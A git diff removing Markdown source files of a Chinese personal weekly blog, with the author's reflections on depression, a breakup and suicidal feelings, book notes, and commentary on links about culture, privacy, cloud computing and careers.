面前夹着止不住的抽泣声说着语无伦次的话。生活里有太多糟心的事情想跟爱的人分享,可他躺在病床上吃着药无力回应我,得不到回应我又不能责怪一个抑郁症患者。我不知道自己还能坚持多久,那晚我甚至跟 AI 说我想死。 - -## ⋈︎ · 连接 - -### 小县城出身如何塑造我的思考 - -> [!note] 📻 -> 播客链接:[小县城出身如何塑造我的思考](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000718765192) - -树老师在这期播客里谈到知识分子,尤其是来自大城市的人,往往预设人们对知识有着尊重,对不同人的观点能够平等看待,这也导致了他们会把任何在他们看来不合理、不尊重知识的言论和行为解读为「恶意」。因为在城里人的世界观里,所有人都会读书和思考,他们不需要向任何人证明知识很重要、平等很重要,所以,当任何看起来不那么正确的言论出现时,他们不会想到说话者可能是没有受过这方面的教育,可能是不懂自己的措辞带有歧视性,他们会把无知和良善解读为恶意。 - -在小县城,骂人「没文化」「不懂」「没见过世面」不会让人感到冒犯,因为他们不在乎。当出身小县城的人抱着这样一种认知与城里人打交道,他们的态度就会被解读为「傲慢」。==预设言论背后的恶意和傲慢,实际上是一种认知惯性——不能想象世界上有和自己认知差异巨大的人,无法相信一些让人感到冒犯的东西可能并不怀着恶意。== - -树老师说她从小到大都需要证明自己学习和工作的合理性,因为小县城「不把知识当回事,除非你能证明你没在放屁」。这也使得她在公共场合表达观点时,总是会想到要证明自己观点的合理性,从零谈论「这为什么很重要」——没有预设使得论述更加完备。 - -在播客的最后,她还提到了大部分知识分子不能理解为什么有一半的美国人给特朗普投票,因为这在城市知识分子的认知里是不合理的,反全球化、种族歧视、恪守传统性别观和家庭观,都是可以在互联网上被封杀的价值观点。然而,对大部分生活在小地方、过着并不富裕生活的人来说,这些观点是他们最虔诚的信仰。 - -> 恰恰是因为文化话语权通常掌握在这样的一群知识分子的手中,而知识分子通常也指认识其他知识分子,所以说我们会错误地给予一个并不建立在经验之上,而是建立在理论之上的世界观,以过多的价值和赞扬。我认为这是一种不公。 - -我们没法启蒙这些人。树老师说当他的爷爷慈祥地躺在病床上发表爹味言论,劝她早点生子时,==她享受着整个事件的荒诞,她相信自己绝对不能够接受的言论实际上充满善意==。 -#### 我的观点 - -我长大的地方不算县城,但也不是什么大城市。我在长大过程中感到的格格不入不如树老师深刻,但也是真实的。我记得有一次我的父亲在教育我时,我痛骂他的言论中充满着父权气息,当时的我没法相信他的话语背后实际上带着善意。我想,把不符合自己价值观的言论都解读为恶意和傲慢,实际上是情绪化的,恶意和傲慢并非是逻辑推理的结论。如今我学着在我父亲发表爹味言论时保持沉默,因为我知道:**任他说吧,反正他拿我什么办法都没有**。 - -[#认知](/tags/认知/) - -### 新的颜色 - -> [!note] 📜 -> 文章链接:[New colors without shooting lasers into your eyes](https://dynomight.net/colors/) - -最近有人通过把激光射进人眼里创造了一种新颜色,作者在这篇文章里通俗地解释了原理,并且指出:不需要把激光射进眼睛里也能获得这种体验,而且在你的电脑屏幕上就能看到。 - -作者解释道人眼能够看到各种颜色的原因是,人的视网膜上有三种视锥细胞(cone cells),每种视锥细胞都对一定波长的光线敏感,但奇怪的是,视锥细胞敏感的波长范围是重叠的。下图中的 M 视锥细胞和 L 视锥细胞,在很大程度上都是重叠的。这意味着,当 M 视锥细胞受到刺激时,L 视锥细胞也在很大程度上受到刺激,人几乎不能只激活一种视锥细胞来看见颜色,而且,自然环境中的光通常都不是单一波长的。 - - - -由于人眼很难看到单一波长的光,也就很难看到一些「极端」的颜色。把激光射进人眼里,其实就是让人眼暴露在单一波长的光当中,以此创造了一种人以前从没见过的颜色。 - -作者制作了一个 [SVG 动画](https://dynomight.net/img/colors/eclipse-(255,0,0)-(0,170,85)-700px-15s-70s-shrink.svg),图像中是一个红色的圆和绿色的背景,作者要求读者盯着画面中心的白色小点看,可以眨眼,大约一分钟之后就会有神奇的事情发生。我强烈建议你继续往后读之前,先自己试一试。 - -作者解释道,盯着图像中的红色看太久会让感受红色的 L 视锥细胞暂时脱敏,儿 M 视锥细胞往往与 L 视锥细胞同时激活,此时人眼罕见地感受到了 M 视锥细胞「单独发力」的结果。 - -#### 我的观点 - -我观看那个动画的感受:盯着白点看了一段时间之后,红色圆形的边缘开始变得模糊,甚至像是要和背景融化在一起,很快就会看到有一种从没见过的蓝绿色在红色的边缘开始显现,很神奇。 - -[#生物学](/tags/生物学/) [#技术](/tags/技术/) - -### 搜索纽约市里所有的文字 - -> [!note] 📜 -> 文章链接:[NYC Urban Textscape](https://pudding.cool/2025/07/street-view/) - -[Yufeng Zhao](https://www.yufengzhao.com)[^1] 从 Google Street View 上能找到的所有纽约公共场所的全景图中提取了文字,做成了一个公共的[搜索引擎](https://www.alltext.nyc),任何人都可以搜索纽约市里的文字。 - -The Pudding 一如既往地做了一些有趣的分析,比如他们发现 Broadway 这个词在纽约市的分布及其令人舒适,和百老汇大道和另外几条名叫 Broadway 的街道完美重叠;一些并不出名的品牌名称也频繁出现在街景中;由于照片的拍摄时间不定,一些历史事件的记忆也通过路边文字的方式留存了下来,比如 COVID;他们还找到了一些频繁出现的非法借贷广告,「Cash 4 Cars」中的 「4Cars」被识别成了 acars,也被列为频繁出现的单词之一。 - -作者在最后表达了担忧,人们在公共场所的行动都无时无刻不在监控之下,只要有心就能找到想要的信息,可能下一次就不只是文字了。 - -#### 我的观点 - -你猜我搜索的第一个词是什么? - - - -尽管作者对公共隐私感到担忧,但我的最大感受是:我忍不住惊叹文字的力量。哪怕是零星地出现在大街上的广告词,也能窥见一个城市的文化风貌。这让我联想到了一些废土主题的作品中出现在城市废墟中的广告牌。 - -[#文化](/tags/文化/) - -## ⁂ · 星群 - -### TrackWeight - -一个玩具软件,可以用 MacBook 的触控板作为电子称。不过有比较明显的限制,需要保持手指与触控板的接触才能称重,这也导致需要把手指放稳,归零,然后保证手指不动才能称重。我试了试用这个软件称重我的 AirPods 4,大概在 40g 左右,因为读数一直跳动,所以没法准确测量。 - - - -访问:[GitHub · KrishKrosh/TrackWeight](https://github.com/KrishKrosh/TrackWeight) - -## ※ · 妙语 - -{{< quotecard >}}Ubi dolor, ibi digitus.{{</ quotecard >}} - -这句话是我从普鲁塔克的《论喋喋不休》这篇文章里抄来的,意思是「哪里痛,手指就指向哪里」。 - -其中 digitus 这个单词看起来眼熟,和英语里的 digit(al) 很像。实际上,digit 和 digital 就来自 digitus 这个拉丁语单词。digitus 的意思是手指或脚趾,digit 的意思是「十以下的数字」,因为一个健全人手指的数量就是十个;后来,digit 就有了位数、数码的意思。 - -dolor 是 dolo 的被动态,意思是砍、打;Ubi 类似于英语的 where,ibi 类似于 there。这句话直译成英文就是:Where it is hit, there is a finger. - -这句话隐喻的是==人们总是关注自己受伤的地方==。所以,希望读者能原谅我最近总是在博客喋喋不休地谈论自己正在经历的痛苦。 - -## ∬ · 切片 - -- 「我最近正在思考某个问题」的实际含义是「我正在推迟思考这个问题」「我不急着现在得出结论」「当下我所持有的信息不足以我得到令我满意的结论」。只不过「正在思考」听起来要酷一点。 -- 「我就不能写一期完全不谈 AI 的周刊吗?」,我这样想,然后我就这样做了。AI 这个词看得太多,都快完形崩溃了。 -- 全然的自爱是有可能的吗? - -[^1]: 上海人,但我没找到他的中文名。 diff --git a/content/posts/weekly/4.md b/content/posts/weekly/4.md deleted file mode 100644 index eafce39e..00000000 --- a/content/posts/weekly/4.md +++ /dev/null @@ -1,104 +0,0 @@ -+++ -title = "稻草人周刊 Vol.4" -subtitle = "活在世间,但不属于尘世" -date = 2024-11-25 08:55:00 -categories = "稻草人周刊" -description = "与世界偏离的女人、人与技术的关系、独处的魅力" -toc = false -draft = false -aliases = [ - "/posts/weekly/稻草人周刊-vol-4/", - "/posts/稻草人周刊-vol-4/", - "/posts/weekly/4", -] -+++ -> [!note] 💡 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/) 的第 4 期,我会在这里分享最近的有意思的事情、思考、阅读和体会。 - -<!--more--> - -## 🏃 - -这周是缝缝补补的一周。 - -因为之前想要速度更快的国内 CDN,所以给 `guhub.cn` 域名备案了。思考过后,又把博客从这个域名下面移走,注册了新的 `geedea.pro`,也就是现在这个域名,博客用的域名是不打算备案的。 - -后面因为 DNSSEC 的问题(很奇怪的是,我没有在 DNSPod 和 EdgeOne 里设置过 DNSSEC)导致 Vercel 无法使用 Let’s Encryt 生成 SSL 证书,所以之前 `guhub.cn` 一直因为没有时间处理而无法正常访问…… 然后就接到了腾讯云打过来的电话。 - -正好之前上传的各种信息也需要修改,腾讯云是通过电话做信息更正的通知的,于是我就需要在排满课的一天中想办法要怎样接到腾讯云客服的电话…… - -这件事情处理完,又发现点开博客的某些文章时,会报出 500 错误,排查了一天,出去吃饭的时候才发现,用手机上的 Safari 浏览器访问完全没有问题。 - -500 是服务器内部错误,怎么会和浏览器有关系?我挠破脑袋也想不到,问题原来出在我使用了 TUN 模式代理了网络流量,Vercel 的中间件大概是在处理请求头时遇到了异常,这个问题实际上和我的网络环境有关系…… 换了个网络节点之后问题顺利解决,就这么一件小事让我忙活了一下午。 - -除此之外还有各种鸡毛蒜皮的小事要我去擦屁股,导致我这周过得很不好,从这期周刊的内容量就能看出来了。不过也算是学到教训了: - -1. 百思不得其解的时候先去干别的事情,你能在意想不到的情况下发现问题的原因 -2. 遇到技术性错误也要考虑一下本地环境的原因,多换几台设备/浏览器试试 -3. 遇到问题先别急着修,把宝贵的精力优先分配给重要的事情 - -## 🤔 - -### 素食者 - -其实以前并不关注文学,偶然在少数派上读到了有关今年诺贝尔文学奖得主韩江的文章之后,便想要读一读她的作品,于是下载了一本《素食者》的电子书来看。 - -书分成三篇故事,都是同样的背景和人物,但每篇读下来的感受都不同,我感觉作者想要表达的东西也都不太一样。看了后记才知道,这是三篇在不同时间写就的独立的故事。 - -第一篇以“素食者”安惠的丈夫的视角书写,有非常强烈的女性主义色彩,但这篇故事里的男性形象给我留下的印象最深。其中安惠的父亲把肉硬塞进女儿嘴里的场景最具有讽刺意义。在这一个场景之前,这位父亲突然停止骂女儿不懂事,继而展现出一种柔情(实际上还是爹味),乞求女儿吃肉。韩江是这样描述其他人的反应的: - -> 岳父的这份父爱感动得我心头一热,眼眶不自觉地湿润了。大概在座的所有人也都被这一幕感动了 - -接下来这位情绪不稳定的父亲就扇了女儿一巴掌,骂她不孝。见女儿软硬都不吃,就直接把肉塞女儿嘴里,本来就接近崩溃边缘的女儿这时直接拿起刀,当着亲戚和小孩的面割腕。然后…… - -> 不愧是特种部队出身,姐夫以熟练的动作帮妻子止血后,一把背起了妻子。 - -是的,在这种情形下,比表达对女人的关心更重要的,当然是称赞男人…… - -(顺带一提这个姐夫其实一直对小姨子有意思) - -然后这位父亲就因为自己高明的教育之道不仅没有起到效果,还闹出了如此大的场面,而彻底被打败了。他一蹶不振,此时他的情绪自然要比女儿的死活重要,当然也就没有去医院。 - -这篇故事里还有很多一针见血的描述: - -> “我真是没脸见你啊。 ”(*得知女儿突然不吃肉的岳母如是说道*) - -> 就算你不吃肉,可你那年轻气盛的老公怎么办? - -> 我觉得好恶心,所有的一切都令我生厌。这太不现实了。比起惊吓和困惑,我的内心只有对妻子的憎恶之情。 - -另外两篇的味道很不一样,要亲自读过一遍才能品味。 - -### 数字极简主义 - -周内用三天时间读完了一本小书,叫《数字极简》。这是一本讲解何为「数字极简主义」的书,意图**通过重新思考人与技术的关系,严谨且有目的地改善手机等数字产品的使用,来帮助读者获得更高的工作效率和更好的生活**。这本书还提供了很多的实践方法,能够帮助读者更合理地利用科技。 - -书中的部分观点和几个月前读的《手机大脑》有些相似,比如:大部分人使用手机的日均时间几乎都在 3 小时以上;互联网巨头们把用户的注意力当作商品;过度使用社交媒体会使人抑郁…… - -这本书的主要观点是:**谨慎而有目的使用数字技术**。这也正是「数字极简主义」所倡导的,并不是说你要把手机和其他数字技术视作洪水猛兽,而是要想清楚,这块小小的屏幕给你带来的快乐,到底值不值得你投入的时间及精力。 - -这本书建议读者先进行为期 30 天的「数字清理」(digital declutter)。在这一期间完全停用自己不“需要”的技术,除了工作和生活所需要使用的如微信一类的 App,其他的像是社交媒体和短视频 App,都不能使用。 - -在这样的一个自虐、痛苦的脱敏过程之后,读者将会获得全新的视角,此时再把技术重新引入到自己的生活里,决定哪些要留下,哪些彻底删除。书中写道,有人在结束了一个月的数字清理后,兴冲冲地打开社交媒体刷了十几分钟之后,感到了一种前所未有的「无聊」,她甚至想不明白自己以前为什么这么喜欢刷那些内容。还有人通过设置屏幕时间限额,或者设定「只能在陪家人的时候看电视」这样的规则,让自己更合理的使用自己谨慎选择的技术。 - -数字极简主义想要倡导的并不是一味地减少数字产品的使用,而是鼓励人们把更多的时间和精力投入到真实世界中。《数字极简》这本书的后半段内容,实际上花了相当多的笔墨,讲人在不用数字产品的时候,可以干些什么。 - -读了这本书之后,我也按照作者的建议,重新捡起了散步的习惯。我本来就喜欢走路,但最近走路时总是忍不住戴耳机听歌或者听播客。作者提到,过度依赖数字产品会剥夺我们宝贵的「独处」时间,让我们没有时间面对自己、没有时间思考。 - -**走路不戴耳机之后,散步成了一个很棒的灵感来源,每次步行几乎都会有新点子从脑海里冒出来**。 - -## 📒 - -《数字极简》,[美] Cal Newport - -> 交谈能增进理解,但独处才是天才的摇篮。 - - [浅谈游戏制作基本法 | 机核 GCORES](https://www.gcores.com/articles/190092) - -> **要做的不一定是解决问题,而是思考TA为什么会提出这个问题**。一个表象的问题往下追溯往往有更深的、导致问题产生的根本。解决里,胜过解决表。 - -《圣经》新约 约翰福音 17:14-16 - -> 我不求你叫他们离开世界,只求你保守他们脱离那恶者。他们不属世界,正如我不属世界一样。 - -*不是基督教徒,但很喜欢「活在世间,但不属于尘世」的思想*。 diff --git a/content/posts/weekly/40.md b/content/posts/weekly/40.md deleted file mode 100644 index f8aae547..00000000 --- a/content/posts/weekly/40.md +++ /dev/null @@ -1,181 +0,0 @@ -+++ -title = "稻草人周刊 Vol.40" -subtitle = "放过自己" -tags = [ - "爱", - "抑郁", - "计算机", - "软件", - "设计", - "Web", -] -date = 2025-08-04 07:51:00 -categories = "稻草人周刊" -draft = false -toc = true -banner = "https://r2.eltr.ac/picgo2025/WechatIMG828.jpg" -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", -] -aliases = [ - "/posts/weekly/40", -] -+++ -*🎵 The Smallest Man Who Ever Lived - Taylor Swift (ukulele cover)* - -<div> - <audio src="https://r2.eltr.ac/picgo2025/IMG_4862-compressed.m4a" type="audio/x-m4a" controls autoplay /> -</div> - -弹错了和弦,唱错了词,不过那都不重要了。 - -> And **I'll forget you but** -> -> **I'll never forgive** the smallest man who ever lived - -<!--more--> - -## ↯ · 当下 - -- 思考之后觉得 Telegram 频道可能比群聊更适合我,目前「418 · 亡者茶话会」这个群聊基本上都是我一个人在输出。于是**创建了一个名为「[大脑充血](https://t.me/geedeapro)」的频道,欢迎加入**,我会在这里发表一些不成文的想法,通知博客的更新等等。频道是阅后即焚的,每条消息在发送过后的 7 天内就会被自动删除(不过我不会发奇怪的东西啦![^4])。 -- 发现有人违反本博客采用的 CC BY-SA 4.0 授权协议,在没有任何署名的情况下照搬了我的一篇文章。由于他没有留下任何联系方式也没有开放网站的评论区,所以我希望他看到这里的时候可以主动联系我。 - - 这是我的原文地址:[尽情在舒适区里狂奔](/posts/尽情在舒适区里狂奔/) - - 这是他发表的这篇文章的地址:[尽情在舒适区里狂奔 – 风言风语](https://1.122915.xyz/尽情在舒适区里狂奔/) | [存档](https://web.archive.org/web/20250731134240/https://1.122915.xyz/尽情在舒适区里狂奔/)[^2] -- 闹掰了,写文骂了他。[^3]后来才意识到,**我在当时感受到的冷漠可能只是一种心理防御机制,大脑麻痹了对痛苦的感知**,以至于我以为自己放下得很快。实际上,几天后我才意识到自己已经积压了太久。 - - > 今天一天我都打不起精神。晚上我在确认他真的删掉了自己所有的联系方式之后,感受到了一种无法命名的强烈的情绪冲动——房间里崩溃大喊,用手臂用力锤打床垫才让自己缓和下来。我之前从来没有这样过…… 于是我又找到了 ChatGPT,它提议我可以做一些让自己有「确认感」的事情,于是我就去喝了喝水、洗了洗杯子,结果洗到一半又感到难以抑制的狂躁,跑到床边疯狂地吹打床垫,当时手还是湿的,床单也湿了。 - > - > 我意识到自己可能需要找人聊一聊,今晚大概是不能一个人过了。于是和朋友打电话聊了一个小时,他终于把我说通了,我才意识到——自己这几天都一直难受的原因其实是自己没办法原谅他,而我原谅不了他实际上是没有办法放过自己;我太纠结对与错,到最后甚至开始责怪关系里的两个人,骂他也骂自己,怪自己不该把话说那么直。 - > - > 朋友说我在文章里责备他的喜欢是自私的,但自己的爱可能也算不上爱,因为我到最后也还在要求他的「回应」。我意识到了一件关于自己的恐怖的事情:我在一段关系里一直在要求别人「接住我」,然而这本身就很难很难。 - > - > 我想我现在至少原谅了心里的那个他了,那个懦弱且拧巴到把逃避当作武器伤害我的人,也有很多的伤痛需要解决吧,只是我们相遇的时间错了。 - > - > ==原谅他之后,我似乎也终于能够放过自己了。== - -- 这篇周刊原本的封面图其实是这张。 -  - ---- - -## ↺ · 回拨 - -> [!note] 🔍 -> 这是八月的第一期周刊,在此进行七月的文章回顾,精选了我认为不错的内容。 - -1. [永远不要提醒自杀者关心家人](/posts/永远不要提醒自杀者关心家人/) <br/> - 从心理学角度讨论,人自杀有一部分原因是不会自爱,而爱人(包括家人)的前提是自爱,所以不应该责备自杀者不会爱人;从哲学角度讨论,人自杀有一部分原因是感到与世界格格不入,用「应该爱家人」的标准和规则来训斥自杀者,只会让对方进一步感到与世界的脱节。最重要地,找专业的人帮忙,不要试图用过来人的语气说话,也别只听我这个小屁孩在这说了什么。 -2. [群体中不存在自律](/posts/群体中不存在自律/) <br/> - 我认为自律依靠的是智慧的内驱力,而非野蛮、作秀的意志力。意志力是蠢人对世界的表演。群体的作用只是提供了外驱力,无益于锻炼真正的内驱力,反而会削减自律。所谓的「一起自律」是彻头彻尾的自欺欺人。 -3. [语言表意效率差异导致的思维差异](/posts/语言表意效率差异导致的思维差异/) <br/> - 英语等表音文字表意效率极低,汉语一两个字能精确指代的概念,英语却要加上许多定语或者造一个需要额外记忆的生词,又或者依赖言外之意,让语言变得抽象;另一方面,汉语表意效率很高,却导致了另一个问题——因为理解成本低了,人们更容易通过字面意思错误地理解词汇,滥用专业名词。认识到这种差异有助于个体认识自己的母语和学习外语。 -4. [震撼即真理](/posts/震撼即真理/) <br/> - 无疑,震撼是一种情感体验,而非逻辑推演的结果。一些人对所谓的「金句」上头,把一些听起来很厉害的话视作真理,其实是用感性在做判断。真理可能是震撼的,但真理的震撼来自于理解后的醍醐灌顶,而非群体中的起哄和惊叹。 - -我七月份的情感和精神状态都很差,再加上癫痫药物的不良反应,已经严重到了[几次想死](/posts/自杀动因/)的程度。因此,本月的文章质量偏低,我自己不太满意。八月份要重振旗鼓! - ---- - -## ⋈︎ · 连接 - -### 用自己的电脑,别当蠢货 - -> [!note] 📜 -> 文章链接:[Renting is for Suckers](https://andrewkelley.me/post/renting-is-for-suckers.html) - -作者说他不理解人们为什么总是把一切东西都云计算化,很多事情明明可以用自己的电脑完成,不联网也可以。随着 AI Agent 软件的出现,一些人把编程这项任务也云端化了。云端意味着要花钱,租赁服务器、订阅 AI IDE 或订阅其他云服务时,服务提供商不会告诉你成本如何计算,他们甚至可通过限制速率、更换模型等方式降低成本,这是不透明的。 - -云计算除了常常被人们忽略的低性价比问题,还存在隐私和数据安全的问题,有多少人完全不想阅读软件服务的服务协议就点击了全部接受?[^1] - -> Don't be a sucker. Use your own computer. - -如果任务能在自己的电脑上完成,就不要花钱冒着牺牲隐私的风险使用云服务。 - -#### 我的观点 - -还在用 Obsidian 和 Logseq 的时候,会为了数据同步折腾很久,结果把数据都互通之后却发现自己其实只在一台设备上用。云计算和云服务兴许会给人带来一种「安心感」。就拿云服务器举例,相比于个人电脑的一个优势就是云服务不容易因为断电断网等因素让服务下线。 - -不过,个人其实不需要接近 100% 的服务在线率吧?我相信,就算我的网站持续一天无法访问,恢复访问后我的访客依然能找到我,甚至很有可能不会察觉发生过意外。 - -[#计算机](/tags/计算机/) - -### 用网站,别用 App - -> [!note] 📜 -> 文章链接:[Don't download the app, use the website](https://idiallo.com/blog/dont-download-apps) - -作者指出科技公司想法设法让你下载他们 App 的目的只是为了收集更多的信息,比如地理位置、联系人信息、麦克风权限、设备上安装的其他 App 等等。这些信息对他们来说很有价值。 - -实际上,大部分 App 能做的事情,都能在网站上做到,只不过科技公司不愿意花成本优化 Web 体验,导致他们往往不能发掘现代 Web 的潜力。不过,就算是网站设计得很烂,在功能上,浏览器在大多数情况下也足够了。 - -App 应该是用来完成与设备、操作系统深度集成的任务的(在我看来,也适合用来操作需要储存在本地的隐私数据),不要掉进科技公司给你挖下的隐私陷阱。 - -#### 我的观点 - -我一直在努力减少我手机上的 App 数量,一方面是减少自己浪费在手机上的时间,另一方面是优化手机的存储空间,还有一方面就是为了考虑隐私问题。我基本上卸载了所有的「内容类」App,除非这些内容没法在网站上看到。现代的 App 都有让人上瘾的推荐算法和无尽的刷新功能,很容易陷入信息流中无法自拔。 - -以下是我认为比较适合用 App 来满足的需求,可供参考: - -1. 健康数据:与运动手表同步、用本地储存的第三方 App 管理数据(饮水量、步数等等) -2. 提醒类:用药提醒、任务提醒、日程提醒 -3. 记录类:备忘录、记录心情、记账 -4. 通讯类:手机最原始的功能 -5. 出行类:打车软件、地图导航等等(旅游信息、门店信息和预约之类的功能其实也完全可以在网站上实现,只不过现实不允许) -6. 数据展示和控制类:通过小组件等方式快速查看信息、使用手机快速操控物联网的设备等(当然这不是厂商不好好设计产品的操作方式,把什么东西都往 App 里塞的理由) -7. 实体凭证替代品:支付、NFC 刷卡等等 - -欢迎补充。 - -[#软件](/tags/软件/) [#设计](/tags/设计/) [#Web](/tags/web/) - -## ⁂ · 星群 - -### FocusFour - -一个 iOS/iPadOS/macOS 应用,为原生提醒事项提供了直观的四象限视图。当时开发者刚发布在少数派上时我就购买了 Pro,不知道现在还有没有优惠。尽管 FocusFour 简单的功能让人觉得付费很不值得,但买断制还是可以接受的。顺带一提,我觉得保护隐私除了多用网站,还可以选择更多制作精良的付费软件。 - -我自己其实不常用,主要因为四象限不太适合我。不过软件的设计还是很棒的,如果习惯用四象限管理任务,也常用苹果自带的提醒事项,就可以试试这个 App。 - - - -访问:[focusfour.app](https://www.focusfour.app/zh) - -### 我的番茄 - -当我想要推荐这个我用了快一年的番茄钟软件时,我想起来自己写过一篇题为《[番茄钟并不好用](/posts/番茄钟并不好用/)》的文章。不过我的观点并不妨碍我使用这个软件,因为我使用得更多的是这个软件的「正计时」功能,并非番茄钟。 - -这是我认为 iOS 上最优秀的番茄钟应用,交互设计很棒,前往设置只需要右滑,查看时间轴只需要左滑,查看统计数据只需要上滑,熟悉之后就会很清楚每个界面在什么地方,抛弃了繁杂的导航按钮。 - -{{< gallery >}} - - - -{{</ gallery >}} - -访问:[focuspomoapp.com](http://focuspomoapp.com) - -## ※ · 妙语 - -{{< quotecard >}}omnia vincit amor: et nos cedamus amori{{</ quotecard >}} - -来自维吉尔的《牧歌集》,意思是「爱征服一切,让我们臣服于爱」,被引用时常取前半段,写作 Amor Vincit Omnia,英文常写作 Love conquers all。 - -这句诗把爱(amor)描述为一切存在中最强大的力量,可以突破一切边界。这句话提醒我,==如果一个人真的爱我,他会突破一切找到我、让我被看见、让我感受到被爱,如果他没有,那就说明他不爱我或者不够爱我,那么这样的人不值得被爱,因为就算他有被藏匿的真情实感,那也弱小到征服不了任何东西==。这句话也提醒我,我最终感到难以忍受、被掏空,失去了征服苦难的力量,是因为爱在不对等的关系、东躲西藏的沟通和无止尽的等待中被消磨殆尽了。 - -[#爱](/tags/爱/) - -## ∬ · 切片 - -- ~~我会忘记你,但我永远不会原谅。~~ 我不会忘记你,但我选择原谅你。 -- 有一天写文章的时候发现网络连接不畅,没有办法查资料,后来想想自己写的也不是什么需要确切事实佐证的文章,完全不依靠外部信息反而更容易写出自己的理解。这么看的话,我应该时不时在写作时刻意断网。 -- 情绪崩溃后找朋友求助,被说通之后才真正感受到朋友为什么比恋人更重要。用 ChatGPT 帮自己看了星盘,今年冬天会有人际关系的扩张(木星),有可能是新的恋情(伴侣宫)。那么在冬天到来之前,就好好发展自己的友谊吧! -- 抑郁发作时真的会觉得自己的世界被缩得好小:空间被缩小了,自己没有办法离开床铺或者离开房间;时间被缩小了,自己没办法思考未来的事情,甚至连过去的事件也没办法回忆,搞清楚自己当下感受到的情绪究竟是什么也非常难;认知被降级了,感觉自己完全没办法独自思考,需要被人引导才行。既然八月没办法和他去旅行了,我应该会去医院复查癫痫,说不定这之后就不需要继续服用让我产生抑郁不良反应的抗癫痫药物了呢。 -- 不停地告诉自己「装睡的人叫醒又有什么用呢?」只会让我感到更痛苦,然而,当我宽容地告诉自己「他装睡有他自己的原因」「无论是装睡还是装睡带来的伤害,可能都不是双方各自的错,或许就像那句陈词滥调——只是在错的时间和错的地点遇见了那个人而已。当我选择了原谅,我也就放过了自己。 - -[^1]: 推荐 [Terms of Service; Didn't Read](https://tosdr.org/zh) 这个网站,总结和评级了许多软件服务的服务协议。 - -[^2]: 为了留证我把网页储存在了 Internet Archive 上 - -[^3]: 《[夏日逃亡](/posts/夏日逃亡/)》和《[喜欢和爱,厌恶与恨](/posts/喜欢和爱-厌恶与恨/)》 - -[^4]: 但也不一定 diff --git a/content/posts/weekly/41.md b/content/posts/weekly/41.md deleted file mode 100644 index 6671a233..00000000 --- a/content/posts/weekly/41.md +++ /dev/null @@ -1,148 +0,0 @@ -+++ -title = "稻草人周刊 Vol.41" -subtitle = "你的大脑需要一个开箱刀" -tags = [ - "职业", - "认知", - "Apple", - "AI", - "人际交往", - "经济学", - "断舍离", -] -date = 2025-08-11 10:50:00 -categories = "稻草人周刊" -draft = false -toc = true -banner = "https://r2.eltr.ac/uPic/2025/08/sunset-on-cqnu-sports-field.jpeg" -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", -] -mentioned_books = [ - "一生之敌", -] -aliases = [ - "/posts/weekly/41", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/million-reasons/1440866256?i=1440866660"></iframe> - -> I've got a hundred million reasons to walk away -> -> Baby, I just need one good one to stay - -<!--more--> - -## ↯ · 当下 - -- 今天(8.11)是水星逆行的最后一天! -- 欢迎加入我的 Telegram 频道「[大脑充血](https://t.me/geedeapro)」,我会在里分享一些不成文的想法、最近的经历和时不时的不吐不快。频道是阅后即焚的,所有发布的内容在七天后会自动删除。 -- 工作结束后终于不用继续教大学生英语了,结果回家之后要开始给家里的初中生辅导英语,这下整个暑假都在当英语老师了。 -- 和[他](/posts/睡觉的时候要把爱人抱在左边/)约了出去玩,因为两个人安排的冲突所以时间还没定下来。感觉他最近状态一般,决定一起去金色印象做足疗,能躺着看电影吃东西,应该是他会觉得比较舒服的环境。 - -## ⋈︎ · 连接 - -### 你的大脑需要一个开箱刀 - -> [!note] 📜 -> 文章链接:[Face it: you're a crazy person](https://www.experimental-history.com/p/face-it-youre-a-crazy-person) - -作者认为,选择职业时不应该只关注好的一面,而应该问自己能不能接受最坏的一面。许多人想要开一个小咖啡馆,因为他们只关注了理想的一面——在一个清闲的午后坐在自己的咖啡馆里读《安娜·卡列尼娜》。实际上,当一个咖啡馆主还需要考虑从哪里进货咖啡豆、要用多少预算购置什么样的咖啡机、除了咖啡店里还要供应什么甜点,以及「如果自己的经理在早上告诉自己他拉肚子里不能来上班,你应该怎么办?」。 - -「我想开间咖啡馆」「我想做个婚礼摄影师」「我想当个老师」这样的想法就像搬家后放在新家的纸箱一样,如果懒得打开(unpack),它们就会变成家具的一部分留在那里,以至于自己已经习惯了。人们习惯了告诉别人自己想做什么,但从未把纸箱打开看看里面究竟有什么。 - -> 想做个外科医生?= 你愿意在接下来的 35 年里每周做 15 次相同的手术吗? -> -> 想当个演员?= 你愿意让你的事业取决于你有没有好看的颧骨吗? -> -> 想做个婚礼摄影师?= 你愿意每周六晚上都当舞厅里唯一一个没喝酒的人吗? - -这么看,任何职业都不会有人想要做,但作者指出——所有人都是疯子,每个人都疯得有自己的特色,以至于一些人真的能接受甚至爱上一些职业最糟糕的部分。许多宿舍管理员整天谩骂不懂事的大学生,可有的人就喜欢年轻人的心态和行事风格,觉得和他们打交道是件幸福的差事。 - -总而言之,当自己需要做出职业选择时,不要听信谗言只关注好处,最重要的问题应该是:我能接受这份工作最糟糕的一面吗? - -#### 我的观点 - -我想起了《[一生之敌](/library/2025/一生之敌/)》这本书中提到的一个观点:搞创作就是痛苦的,你选择了创作,就是选择了痛苦。一个活得幸福的人写不出什么深刻的作品,唯有痛苦的人才能更清楚地洞察人性和世界。如果接受不了,就不要搞创作。 - -[#职业](/tags/职业/) [#认知](/tags/认知/) - -### iPhone 相机没那么好 - -> [!note] 📜 -> 文章链接:[\"iPhone Cameras are Actually Really Good\"](https://candid9.com/phone-camera/) - -作者将 iPhone 16 和 iPhone 16 Pro 拍摄出来的照片,和入门款相机以及 2004 年生产的索尼相机拍摄出来的照片进行对比,发现 iPhone 相机和自动计算修正得到的照片实际上有非常多的问题: - -1. iPhone 相机会导致画面扭曲变形,照片中原本站立的人物被 iPhone 拍摄之后看起来像是倾斜着,这点在方正的建筑物、车辆上也非常明显。 -2. iPhone 相机会让人物的肤色变得不自然,像是「热狗」一样。 -3. iPhone 拍出来的照片,前后景的分离不够自然。 -4. iPhone 